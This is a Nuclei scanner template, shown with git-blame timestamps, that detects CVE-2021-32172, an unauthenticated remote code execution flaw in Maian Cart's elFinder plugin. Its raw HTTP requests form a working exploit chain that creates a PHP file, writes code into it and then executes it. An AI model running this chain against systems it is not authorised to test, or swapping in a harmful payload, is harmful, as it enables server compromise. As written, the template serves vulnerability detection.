2022-01-13 05:18:51 +00:00
|
|
|
id: CVE-2021-32172
|
2021-05-24 23:38:52 +00:00
|
|
|
|
|
|
|
info:
|
2022-05-18 20:58:07 +00:00
|
|
|
name: Maian Cart <=3.8 - Remote Code Execution
|
2021-05-24 23:38:52 +00:00
|
|
|
author: pdteam
|
|
|
|
severity: critical
|
2022-05-18 20:58:07 +00:00
|
|
|
description: Maian Cart 3.0 to 3.8 via the elFinder file manager plugin contains a remote code execution vulnerability.
|
2023-09-06 12:09:01 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade to a patched version of Maian Cart (>=3.8) to mitigate this vulnerability.
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://dreyand.github.io/maian-cart-rce/
|
|
|
|
- https://github.com/DreyAnd/maian-cart-rce
|
|
|
|
- https://www.maianscriptworld.co.uk/critical-updates
|
2022-01-13 05:18:51 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-32172
|
2023-07-11 19:49:27 +00:00
|
|
|
- https://www.maianscriptworld.co.uk/
|
2022-01-13 05:21:21 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 9.8
|
2022-01-13 05:21:21 +00:00
|
|
|
cve-id: CVE-2021-32172
|
|
|
|
cwe-id: CWE-862
|
2023-10-14 11:27:55 +00:00
|
|
|
epss-score: 0.26193
|
2023-10-27 16:34:45 +00:00
|
|
|
epss-percentile: 0.96182
|
2023-09-06 12:09:01 +00:00
|
|
|
cpe: cpe:2.3:a:maianscriptworld:maian_cart:3.8:*:*:*:*:*:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 3
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: maianscriptworld
|
|
|
|
product: maian_cart
|
|
|
|
tags: cve,cve2021,rce,unauth,maian,intrusive
|
2021-05-24 23:38:52 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-05-24 23:38:52 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name={{randstr}}.php&target=l1_Lw HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: */*
|
|
|
|
- |
|
|
|
|
POST /admin/index.php?p=ajax-ops&op=elfinder HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: application/json, text/javascript, /; q=0.01
|
|
|
|
Accept-Language: en-US,en;q=0.5
|
|
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
|
|
|
|
cmd=put&target={{hash}}&content=%3c%3fphp%20echo%20%22{{randstr_1}}%22%3b%20%3f%3e
|
|
|
|
- |
|
|
|
|
GET /product-downloads/{{randstr}}.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: */*
|
|
|
|
|
2023-07-11 19:49:27 +00:00
|
|
|
req-condition: true
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- contains(body_3, "{{randstr_1}}")
|
|
|
|
- status_code_3 == 200
|
|
|
|
condition: and
|
|
|
|
|
2021-05-24 23:38:52 +00:00
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: hash
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- '"hash"\:"(.*?)"\,'
|
2023-07-11 19:49:27 +00:00
|
|
|
internal: true
|
2023-10-28 07:54:29 +00:00
|
|
|
# digest: 4a0a00473045022012ed4898e86ca58a60de4ee2a1fb97ad5cb32b65fe980100895805198d55335b022100e523564c50ad0c173a28b3969e2fcced128716f77107e6f98d021031c9ceb7b2:922c64590222798bb761d5b6d8e72950
|